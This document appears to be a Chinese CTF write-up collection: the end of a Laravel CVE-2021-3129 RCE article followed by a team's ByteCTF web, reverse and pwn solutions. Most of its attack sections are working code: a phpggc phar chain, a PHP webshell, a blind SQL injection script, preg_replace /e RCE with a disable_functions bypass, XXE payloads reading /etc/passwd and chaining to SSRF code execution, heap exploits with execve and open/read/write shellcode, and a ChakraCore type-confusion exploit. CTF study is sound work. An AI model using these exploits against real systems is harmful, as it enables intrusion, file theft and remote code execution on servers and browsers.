php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
这样就清除除了Crispr外所有的其他字符，这样只需要获得phar的数据即可:
最后由于laravel的日志系统使用的是monolog，而且该依赖存在反序列化漏洞能够进行RCE，参考phpggc中的链子monolog-rce1:
php -d'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0
将其转化为经过`convert.quoted-printable-encode`的utf-16形式后传入，注意在最后加入一个字符使得总有一个完整的PAYLOAD得到保留，最后在清空字符串:
此时我们来看一下记录在log中的值:
可以很明显的知道是一个phar的数据，最后将该日志地址进行传入，通过file_get_contents来触发反序列化,实现RCE
最后附上成功的截图
最后附上参考链接和EXP：
<https://www.ambionics.io/blog/laravel-debug-rce>
<https://xz.aliyun.com/t/9030#toc-0>
<https://xz.aliyun.com/t/5483#toc-1>
<https://xz.aliyun.com/t/5510>
EXP:
<https://github.com/crisprss/Laravel_CVE-2021-3129_EXP> | 社区文章 |
> Team: W&M
前排广告位：W&M长期招逆向/二进制/密码学/杂项/web选手，尤其是二进制和密码学选手,有意向的大佬欢迎砸简历到[email protected]
# **Web：**
## boring_code
两个点
* 域名需要包含baidu.com
* 绕过正则和过滤将字符串传入eval中执行
**第一个点**
队友财大气粗直接买了个域名，成功绕过。 （缓缓打出一个？
**第二个点**
正则只允许我们传入形如 a(b(c())) 的字符串，且最后一个括号内不能有参数。
参考一叶飘零的总结 <https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/>
但是这题加大了很多难度，过滤了这么些东西
`/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/`
没有et的话所有带get的都不能用了。想getshell几乎不可能了。
再加上的提示。只需要达到文件读取就可以了。
先构造出一个可以读当前目录的payload
`echo(readfile(end(scandir('.'))))`
可以读取目录中最后一个文件。
现在需要构造一个能产生.的函数。找到这个函数 localeconv() ，会返回一个数组，数组第一项就是 "."
那么用current(localeconv())取出第一项，发现nt被BAN了，翻手册找到了pos()函数，是current的别名。
那么当前的payload
`echo(readfile(end(scandir(current(localeconv())))))`
但是flag目录在上层目录，需要用chdir跳转。可以chdir只会返回bool值。我们需要找一个函数接受布尔值并且可以输出"."
想到了时间有关函数 time() localtime()，
time(true)会返回当前时间戳，但是时间戳的值无法转变为想要的"."
localtime()返回数组，可以提取出秒数的值，用chr转换为字符串"." 即在46s时 chr(pos(localtime()))就会返回"."
但是localtime()内接受布尔参数会报错，陷入僵局。
继续翻手册发现了
localtime第一参数默认是time() ，那我可以用localtime接受time函数，time接受一个bool值。
构造最终payload
`echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));`
把(买的)域名指向到自己的服务器，服务器上放一个文件
`echo
"echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));"`
然后发包去访问，需要简单爆破下，只有在时间为某分46秒时可以读到源码
## EZCMS
[www.zip](http://www.zip)拿到源码
简单审计，明显的hash长度拓展攻击，老套路了。
`username:admin`
`password:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00admina`
登陆之后加上cookie fcb0b00520b914c23b9e95db070008ad
继续审计发现一个phar反序列化点。
view.php中
`$file = new File($file_name, $file_path);`
跟进后filepath会进入mime_content_type函数。再加上我们可以控制上传文件的内容，达成一条反序列化链。
两种攻击思路
* 反序列化调用upload_file函数，上传到其他目录获取shell
* 重写htaccess内容或者删掉htaccess
第一条路由于使用的是move_uploaded_file，会对tmp文件名检测，在不知道tmp名的情况下无法使用。
走第二条路
直接上反序列化构造脚本
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
}
class Profile{
public $username;
public $password;
public $admin;
}
$a = new File("altman","altman");
$a->checker = new Profile();
$a->checker->username = "/var/www/html/sandbox/a87136ce5a8b85871f1d0b6b2add38d2/.htaccess";
$a->checker->password = ZipArchive::OVERWRITE | ZipArchive::CREATE;
$a->checker->admin = new ZipArchive();
echo serialize($a);
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
?>
构造好后先上传一个简单马，需要绕过黑名单
<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>
然后将生成的phar上传，利用filter绕过对phar的过滤 （见suctf）
`http://112.126.102.158:9999/view.php?filename=dd7ec931179c4dcb6a8ffb8b8786d20b.txt&filepath=php://filter/resource=phar://sandbox/a87136ce5a8b85871f1d0b6b2add38d2/dd7ec931179c4dcb6a8ffb8b8786d20b.txt`
触发反序列化。删掉htaccess。此时切记不要访问upload.php，否则会重新生成htaccess。
直接访问沙盒下第一个上传的php文件，拿到shell。
##
##
## babyblog
扫描目录可以发现[www.zip](http://www.zip)源码泄露。
大概看了下，发现文章标题处存在二次注入
config中泄露过滤函数，但是作用不大直接使用异或注入即可绕过
``1'^(ascii(substr((select(group_concat(schema_name)) from
(information_schema.schemata)),1,1))>1)^'1`
接下来写个脚本注入即可
#!/usr/bin/env python3
# -*- coding: utf-8 -*- import re
import requests
# 1'^(ascii(substr((select(group_concat(schema_name)) from (information_schema.schemata)),1,1))>1)^'1
def main():
get_all_databases("http://112.126.101.16:9999/")
def http_get(url, payload):
result = requests.post(url + "writing.php", data={'title': "1'^(" + payload + ")^'1", 'content': 'fuhei'}, headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
result.encoding = 'utf-8'
r2 = requests.get(url + "index.php", headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
pattern = re.compile(r'edit.php\?id=(\d+)')
result1 = pattern.findall(r2.text)
result = requests.post(url + "edit.php", data={'title': "fuhei", 'content': 'fuhei', "id": result1[0]},
headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
result.encoding = 'utf-8'
result2 = requests.get(url + "edit.php?id=" + result1[0], headers={"Cookie": "PHPSESSID=cs04skbivc1g706vka0f76avt4"})
print(result2.text.find('ascii') == -1)
if result2.text.find('ascii') == -1:
return True
else:
return False
# 获取数据库
def get_all_databases(url):
db_name = ""
db_payload = "select(group_concat(schema_name)) from (information_schema.schemata)"
for y in range(1, 32):
db_name_payload = "ascii(substr((" + db_payload + "),%d,1))" % (
y)
db_name += chr(half(url, db_name_payload))
print(db_name)
print("值为：%s" % db_name)
# 二分法函数
def half(url, payload):
low = 0
high = 126
# print(standard_html)
while low <= high:
mid = (low + high) / 2
mid_num_payload = "%s > %d" % (payload, mid)
# print(mid_num_payload)
# print(mid_html)
if http_get(url, mid_num_payload):
low = mid + 1
else:
high = mid - 1
mid_num = int((low + high + 1) / 2)
return mid_num
if __name__ == '__main__':
main()
然后根据题目意思来注入找到是vip的用户
解密得到VIP用户 pppr/123
继续审计发现replace.php中存在preg_replace函数，参数可控可导致命令执行
import requests
import base64
cookie={
"PHPSESSID":"pe6c91i1bbks4k21r5endcfh41"
}
def write():
url="http://112.126.101.16:9999/edit.php"
data={
"title":"glzjin",
"content":'glzjin',
"id":"2630"
}
r=requests.post(url=url,data=data,cookies=cookie)
return r.content
url = "http://112.126.101.16:9999/replace.php"
#command = """eval('cmd = "/readflag";$out_path = "/tmp/altman";$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";putenv("EVIL_CMDLINE=" . $evil_cmdline);$so_path = "/tmp/de1ta.so";putenv("LD_PRELOAD=" . $so_path);error_log("", 1, "[email protected]");echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path);')"""
command = """eval("var_dump(scandir('/tmp'));")"""
payload = "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"regex\"\r\n\r\n1\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"find\"\r\n\r\nglzjin/e\x00\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nglzjin\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"replace\"\r\n\r\n" + command +"\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"id\"\r\n\r\n2630\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--"
headers = {
'content-type': "multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
'Cookie': "PHPSESSID=pe6c91i1bbks4k21r5endcfh41",
'cache-control': "no-cache",
}
write()
response = requests.request("POST", url, data=payload, headers=headers)
print(response.text)
进去后发现大部分函数被disable_functions禁用了，而且无法跨出目录。于是看了下tmp目录发现存在de1ta.so，分析了下发现是GitHub开源的用来bypass
disable_functions用的。于是对照phpinfo发现没有禁用error_log，直接使用error_log进行bypass。
## RSS
1、打开靶机，看下功能，直接输入一个 rss，给解析出来。
同时限制了读取的域名。
2、那么这里就用 data:// 伪协议直接传数据进去试试，因为 php 对 data 的 mime type 不敏感，直接写成 baidu.com
就可以过这个 host 检测了。为了方便我这里传 base64 之后的。
参考资料：<https://www.jianshu.com/p/80ce73919edb>
测试没毛病。
3、别忘了 RSS 也是一种 XML，那么就存在 XXE 的问题，我们来试试。
参考资料：<https://gist.github.com/sl4v/7b5e562f110910f85397>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>[email protected]</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
啊哈，出来了。
4、那么接下来就来读取站点源码试试，注意有尖括号我们需要套一下 php伪协议，转成 base64。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>The Blog</title>
<link>http://example.com/</link>
<description>A blog about things</description>
<lastBuildDate>Mon, 03 Feb 2014 00:00:00 -0000</lastBuildDate>
<item>
<title>&xxe;</title>
<link>http://example.com</link>
<description>a post</description>
<author>[email protected]</author>
<pubDate>Mon, 03 Feb 2014 00:00:00 -0000</pubDate>
</item>
</channel>
</rss>
5、读取结果 base64 解码一下，得到 index.php 源码。
<?php
ini_set('display_errors',0);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('routes.php');
function __autoload($class_name){
if(file_exists('./classes/'.$class_name.'.php')) {
require_once './classes/'.$class_name.'.php';
} else if(file_exists('./controllers/'.$class_name.'.php')) {
require_once './controllers/'.$class_name.'.php';
}
}
分析一下，有个 routes.php，从名字看猜测里面存了路由，然后从 classes 和 controllers 里读类名对应的文件。
6、那来看看 routes.php
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=routes.php" >]>
<?php
Route::set('index.php',function(){
Index::createView('Index');
});
Route::set('index',function(){
Index::createView('Index');
});
Route::set('fetch',function(){
if(isset($_REQUEST['rss_url'])){
Fetch::handleUrl($_REQUEST['rss_url']);
}
});
Route::set('rss_in_order',function(){
if(!isset($_REQUEST['rss_url']) && !isset($_REQUEST['order'])){
Admin::createView('Admin');
}else{
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
Admin::sort($_REQUEST['rss_url'],$_REQUEST['order']);
}else{
echo ";(";
}
}
});
前面三个路由我们抓包都能看到，最后一个有点意思，限制只能 127.0.0.1 访问。
7、最终这个路由，我们来读一下 Admin 这个类试试。读 classes 文件夹下的 Admin.php 时出错，controllers 下的正常。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./controllers/Admin.php" >]>
<?php
class Admin extends Controller{
public static function sort($url,$order){
$rss=file_get_contents($url);
$rss=simplexml_load_string($rss,'SimpleXMLElement', LIBXML_NOENT);
require_once './views/Admin.php';
}
}
8、那么就再来读读 views 下的 Admin.php。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./views/Admin.php" >]>
<?php
if($_SERVER['REMOTE_ADDR'] != '127.0.0.1'){
die(';(');
}
?>
<?php include('package/header.php') ?>
<?php if(!$rss) {
?>
<div class="rss-head row">
<h1>RSS解析失败</h1>
<ul>
<li>此网站RSS资源可能存在错误无法解析</li>
<li>此网站RSS资源可能已经关闭</li>
<li>此网站可能禁止PHP获取此内容</li>
<li>可能由于来自本站的访问过多导致暂时访问限制Orz</li>
</ul>
</div>
<?php
exit;
};
function rss_sort_date($str){
$time=strtotime($str);
return date("Y年m月d日 H时i分",$time);
}
?>
<div>
<div class="rss-head row">
<div class="col-sm-12 text-center">
<h1><a href="<?php echo $rss->channel->link;?>" target="_blank"><?php echo $rss->channel->title;?></a></h1>
<span style="font-size: 16px;font-style: italic;width:100%;"><?php echo $rss->channel->link;?></span>
<p><?php echo $rss->channel->description;?></p>
<?php
if(isset($rss->channel->lastBuildDate)&&$rss->channel->lastBuildDate!=""){
echo "<p> 最后更新:".rss_sort_date($rss->channel->lastBuildDate)."</p>";
}
?>
</div>
</div>
<div class="article-list" style="padding:10px">
<?php
$data = [];
foreach($rss->channel->item as $item){
$data[] = $item;
}
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
foreach($data as $item){
?>
<article class="article">
<h1><a href="<?php echo $item->link;?>" target="_blank"><?php echo $item->title;?></a></h1>
<div class="content">
<p>
<?php echo $item->description;?>
</p>
</div>
<div class="article-info">
<i style="margin:0px 5px"></i><?php echo rss_sort_date($item->pubDate);?>
<i style="margin:0px 5px"></i>
<?php
for($i=0;$i<count($item->category);$i++){
echo $item->category[$i];
if($i+1!=count($item->category)){
echo ",";
}
};
if(isset($item->author)&&$item->author!=""){
?>
<i class="fa fa-user" style="margin:0px 5px"></i>
<?php
echo $item->author;
}
?>
</div>
</article>
<?php }?>
</div>
<div class="text-center">
免责声明:本站只提供RSS解析,解析内容与本站无关,版权归来源网站所有
</div>
</div>
</div>
<?php include('package/footer.php') ?>
分析下源码，主要是这里有意思，
usort($data, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));
看到没，直接将 $order 拼到函数体里了。那么这里我们就可以利用这里 RCE 了。
当然这里来源 IP 必须为 127.0.0.1，和上面 routes 里的对上了。
9、来利用那个 XXE 来搞个 SSRF，访问这个页面，rss_url 可以随意传个正常的，order 需要插我们要执行的恶意代码。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=http://127.0.0.1/rss_in_order?rss_url=http://tech.qq.com/photo/dcpic/rss.xml&order=title.var_dump(scandir('/'))" >]>
得到返回，看到 flag 文件名。
10、读下这个文件。
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=/flag_eb8ba2eb07702e69963a7d6ab8669134" >]>
##
# **Reverse：**
## easy_rust
直接载入IDA 发现是rust的，很多没用的函数 ，就是做各种检查的，应该是编译的时候带进来的，直接忽略，发现主函数的位置有一个反调试，
直接干掉，就可以在IDA里面调试了。
下面的处理很乱，大概的我都是调试总结出来的 。
这里其实就是验证输入的内容是不是 a-z 0-9，后面调试发现 其实只能固定在 a-h o 1 - 3 这几个字符。
下面就是交换字节，四个交换都类似这样，格式是 要交换的 字符+交换的方向
只有 1 2 3 a 这几种方式。判断是华容道游戏 调试把内存中的数据提取出来，
'd', 'c', 'o',
'h', 'a', 'e',
'b', 'g', 'f'
方块移动的规则
1 向上
2 向下
3 向右
a 向左
找个脚本跑了一下 ，对应的
c右a上h右b上g左h下b右d下a左b上e左f上
flag： c3a1h3b1gah2b3d2aab1eaf1
## NaughtyBoy
分析apk以后发现没什么东西，都在so文件里面，直接去逆向so文件，发现是一个游戏，
四个都打开，配合着看，我发现IDA解析他们不太一样。有的结构比较清晰。
验证了头部flag
地图生成函数
直接复制下来，去vs里面跑一下，
地图出来了 ，然后圈圈提取出来，爆破出前四位是 good
然后下面就是走了 ，因为最下面有验证质数的，所以如果路过一个圈圈，会覆盖过去
最后会检查质数，但是24 也就是图的中间位置是不用满足的，所以图中间就是那个0x4f
bytectf{good53233212414531}
## 驱动逆向
直接加载会蓝屏，所以我先IDA分析了一通，发现了蹊跷的地方，在取CPUID的地方给数组赋值了，然后还去计算了MD5。但是CPUID是每台电脑不同的，所以根据提示设置了
“FakeIntel”作为ID ，就是FakeIntel + 0xDEADBEEF 。然后计算每四个字节计算一次MD5 最后取前八位组合在一起。
key ： 52 a9 65 08 c3 95 36 f0 c2 42 53 9b 77 17 fb c6 1e 31 55 17 41 69 36 05
c0 5a 39 b9 53 28 3d 94
IV直接给出来 ： 25 40 5a 86 b5 f1 3e 58 80 9b db 0b 30 49 66 8c
发现我直接用python的AES解不出来。 所以我windbg调试起来，要先NOP掉一个有问题的函数，在解密函数的位置设置内存
直接让驱动把解密完成。
# **Pwn**** :**
## mheap
add未检查size的大小，add总数超过size时，read返回值会是-1，向上写入单链表指针，后面攻击list没啥好说的
from pwn import *
p = remote("112.126.98.5",9999)
def add(idx, size, content):
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.send(str(content))
def show(idx):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
def remove(idx):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def modify(idx,content):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.sendline(content)
add(0,3840 + 0x10, "\n")
add(1,80,"x"*80)
remove(1)
#raw_input()
add(2,256,p64(0x60)+p64(0x4040e0)+"x"*(0xd0-1)+"\n")
add(1,80,"x"+"\n")
add(2,0x23330000,p64(0x404050)+"\n")
show(2)
libc_addr = u64(p.recvuntil("\n",drop=True).ljust(8,"\x00"))-0x40680
system_addr = 0x4f440 + libc_addr
modify(2,p64(system_addr))
p.recvuntil("choice: ")
p.sendline("/bin/sh\x00")
p.interactive()
## childjs
chakra引擎直接用的过去的漏洞
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1702>
CVE-2019-0539
由于JIT引擎判断InitProto操作并不会带来副作用，对象类型不会发生变化，导致了类型混淆漏洞。
网上存在分析文章
<https://www.anquanke.com/post/id/173475>
直接使用文中利用dateview实现任意地址读写的方法，对poc进行修改。
之后通过内存布局，将要泄露的对象放在数组中摆放在dataview后面进行实现对象地址的泄露。
通过entrypoint劫持的方法，使程序执行shellcode
var convert = new ArrayBuffer(0x100);
var u32 = new Uint32Array(convert);
var f64 = new Float64Array(convert);
var BASE = 0x100000000;
function hex(x) {
return `0x${x.toString(16)}`
}
function bytes_to_u64(bytes) {
return (bytes[0]+bytes[1]*0x100+bytes[2]*0x10000+bytes[3]*0x1000000
+bytes[4]*0x100000000+bytes[5]*0x10000000000);
}
function i2f(x) {
u32[0] = x % BASE;
u32[1] = (x - (x % BASE)) / BASE;
return f64[0];
}
function f2i(x) {
f64[0] = x;
return u32[0] + BASE * u32[1];
}
let shellcode = [0.1,0.2,0.3,0.4];
let shellcode_addr = 0x0;
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
tm=[shellcode,shellcode,shellcode,shellcode,123]
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, proto, value) {
o.b = 1;
let tmp = {__proto__: proto};
o.a = value;
}
function main() {
for (let i = 0; i < 20000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
opt(o, o, obj); // o->auxSlots = obj (Step 1)
o.c = dv1; // obj->auxSlots = dv1 (Step 2)
obj.h = tm; // dv1->buffer = dv2 (Step 3)
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(4, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(48, true);
vtable_hi = dv1.getUint32(52, true);
print (hex(vtable_lo + vtable_hi * BASE));
obj.h =dv2;
dv1.setUint32(0x38, vtable_lo, true);
dv1.setUint32(0x3C, vtable_hi, true);
vtable_lo = dv2.getUint32(32, true);
vtable_hi = dv2.getUint32(36, true);
print (hex(vtable_lo + vtable_hi * BASE));
dv1.setUint32(0x38, vtable_lo, true);
dv1.setUint32(0x3C, vtable_hi, true);
lo=dv2.getUint32(8, true);
hi = dv2.getUint32(12, true);
print (hex(lo + hi * BASE));
write64(lo+24, hi, vtable_lo+88, vtable_hi);
dv1.setUint32(0x38, vtable_lo+88, true);
dv1.setUint32(0x3C, vtable_hi, true);
let shell=[106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5]
for (let i = 0; i < shell.length; i++) {
dv2.setUint8(i, shell[i]);
}
shellcode();
}
main();
## mutnote
Ollvm混淆。但在ida函数列表中发现了start_routine函数，直接看此函数发现free后sleep再将指针清空。
漏洞就很明显了，条件竞争引起的uaf。直接上gdb调试，fastbin attack攻击malloc_hook完成利用。
#-*- coding: utf-8 -*- from pwn import *
binary_file = './mulnote'
context.binary = binary_file
context.terminal = ['tmux', 'sp', '-h']
elf = ELF(binary_file)
libc = elf.libc
one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
libc.symbols['one_gadget'] = one_gadgets[1]
context.log_level = 'debug'
def dbg(breakpoint):
glibc_dir = '/usr/src/glibc/glibc-2.23/'
gdbscript = 'directory %smalloc\n' % glibc_dir
gdbscript += 'directory %sstdio-common/\n' % glibc_dir
gdbscript += 'directory %sstdlib/\n' % glibc_dir
gdbscript += 'directory %slibio\n' % glibc_dir
elf_base = int(os.popen('pmap {}| awk \x27{{print \x241}}\x27'.format(io.pid)).readlines()[1], 16) if elf.pie else 0
gdbscript += 'b *{:#x}\n'.format(int(breakpoint) + elf_base) if isinstance(breakpoint, int) else breakpoint
gdbscript += 'c\nvis_heap_chunks 0x555555757000 20\n'
log.info(gdbscript)
gdb.attach(io, gdbscript)
time.sleep(1)
def exploit(io):
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
irt = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
def create(a,b):
io.writeline('C')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
io.writeline(b)
io.readuntil('>')
def remove(a):
io.writeline('R')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
def edit(a,b):
io.writeline('E')
io.readuntil('>')
io.writeline(a)
io.readuntil('>')
io.writeline(b)
io.readuntil('>')
# dbg(elf.plt.malloc) # malloc
# dbg(elf.plt.free) # free
# dbg(0xf) # edit
ru('>')
# overlap
create('256','1111111')
remove('0')
io.writeline('S')
ru('\n')
libc.address= uu64(r(6))-libc.sym.__malloc_hook-88-0x10
success('libc.address = 0x%x' % libc.address)
create('96','1111111111111111111111')
create('96','1111111111111111111111')
create('96','1111111111111111111111')
remove('1')
remove('2')
remove('1')
create('96',p64(libc.sym.__malloc_hook-0x23))
create('96',p64(libc.sym.__malloc_hook-0x23))
create('96',p64(libc.sym.__malloc_hook-0x23))
# dbg(elf.plt.malloc) # malloc
create('96','a'*0x13+p64(libc.sym.one_gadget))
io.writeline('C')
io.readuntil('>')
io.writeline('96')
return io
if __name__ == '__main__':
if len(sys.argv) > 1:
io = remote(sys.argv[1], sys.argv[2])
else:
io = process(binary_file, 0)
exploit(io)
io.interactive()
## vip
溢出sock_filter结构体，篡改ptrcl的沙盒规则，使openat的syscall return
0（libc的open使用的不是sys_open，巨坑），open函数返回0后read就是从stdin读取数据了。这样就可以stack
leak，知道stack_addr之后，算出ret_addr，通过堆溢出一直覆盖到chunk_list的位置，然后在第一个堆块放置ret_addr，从而绕过canary构造rop，然后由于之前已经知道libc了，所以直接通过libc中的pop_rdx_ret，来传第三个参数，由于禁用了system和execve，所以通过调用mprotect给bss段上执行权限，然后在bss段放orw_shellcode，即执行open("/flag")、read(3,buf,size)、write(1,buf,size)，执行即可输出flag
#!/usr/bin/python2.7
# -*- coding: utf-8 -*- from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("vip")
sh = 0
lib = 0
def vip():
sh.sendlineafter(":","6")
sh.sendafter(':',flat('a'*0x20,
0x0000000000000020, 0x0000010101000015,
0x0005000000000006, 0x7fff000000000006,))
def add(idx):
sh.recvuntil("Your choice:")
sh.sendline("1")
sh.sendlineafter(":",str(idx))
def free(idx):
sh.sendlineafter("Your choice:","3")
sh.sendlineafter(":",str(idx))
def show(idx):
sh.sendlineafter("Your choice:","2")
sh.sendlineafter(":",str(idx))
def edit(idx,size,content):
sh.recvuntil("Your choice:")
sh.sendline("4")
sh.recvuntil(":")
sh.sendline(str(idx))
sh.sendlineafter(":",str(size))
sh.recvuntil("Content:")
sh.send(content)
def pwn(ip,port,debug):
global sh
global lib
if(debug == 1):
sh = process("./vip")
lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
sh = remote(ip,port)
lib = ELF("libc-2.27.so")
chunk_list = 0x404100
vip()
add(0)
add(1)
add(5)
add(6)
add(10)
free(6)
free(1)
payload = 'a' * 0x50 + p64(0) + p64(0x61) + p64(elf.got['free'])
edit(0,0x70,payload)
add(1)
add(2)
show(2)
free_addr = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00'))
libc = free_addr - lib.symbols['free']
system = libc + lib.symbols['system']
execve = libc + lib.symbols['execve']
printf = libc + lib.symbols['printf']
mprotect = libc + lib.symbols['mprotect']
edit(2,9,p64(printf))
edit(10,8,"%8$p\x00")
free(10)
sh.recvuntil("0x")
stack = int(sh.recvuntil("Done!",True),16) - 8 * 13
payload = p64(libc + lib.symbols['free'])
payload += p64(libc + lib.symbols['puts'])
payload += p64(libc + lib.symbols['__stack_chk_fail'])
payload += p64(libc + lib.symbols['printf'])
payload += p64(libc + lib.symbols['memset'])
payload += p64(libc + lib.symbols['read'])
payload += p64(libc + lib.symbols['prctl'])
payload += p64(libc + lib.symbols['malloc'])
payload += p64(libc + lib.symbols['setvbuf'])
payload += p64(libc + lib.symbols['open'])
payload += p64(libc + lib.symbols['perror'])
payload += p64(libc + lib.symbols['atoi'])
payload += p64(libc + lib.symbols['scanf'])
payload += p64(libc + lib.symbols['exit'])
payload = payload.ljust(0x4040a0 - 0x404018,'\x00')
payload += p64(libc + lib.symbols['_IO_2_1_stdout_']) + p64(0)
payload += p64(libc + lib.symbols['_IO_2_1_stdin_']) + p64(0)
payload += p64(libc + lib.symbols['_IO_2_1_stderr_'])
payload += p64(0) * 7
payload += p64(stack)
edit(2,0x500,payload)
pop_rdx_ret = 0x1b96 + libc
pop_rdi_ret = 0x4018fb
pop_rsi_r15_ret = 0x4018f9
base = 0x404000
payload = p64(pop_rdi_ret) + p64(base)
payload += p64(pop_rsi_r15_ret) + p64(0x1000) + p64(0)
payload += p64(pop_rdx_ret) + p64(7)
payload += p64(mprotect)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(base + 0x800) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x500)
payload += p64(libc + lib.symbols['read'])
payload += p64(base + 0x800)
edit(0,0x500,payload)
sleep(0.2)
payload = 'H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8.gm`f\x01\x01\x01H1\x04$H\x89\xe71\xd21\xf6j\x02X\x0f\x051\xc0j\x03_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01\x0f\x05j\x01_j@Z\xbe\x01\x01\x01\x01\x81\xf6\xa1AA\x01j\x01X\x0f\x05'
sh.sendline(payload)
log.success("libc: " + hex(libc))
log.success("stack: " + hex(stack))
log.success("system: " + hex(system))
if(debug == 1):
log.success("pid: " + str(sh.pid))
sh.interactive()
if __name__ == "__main__":
pwn("112.126.103.14",9999,0)
## note_five
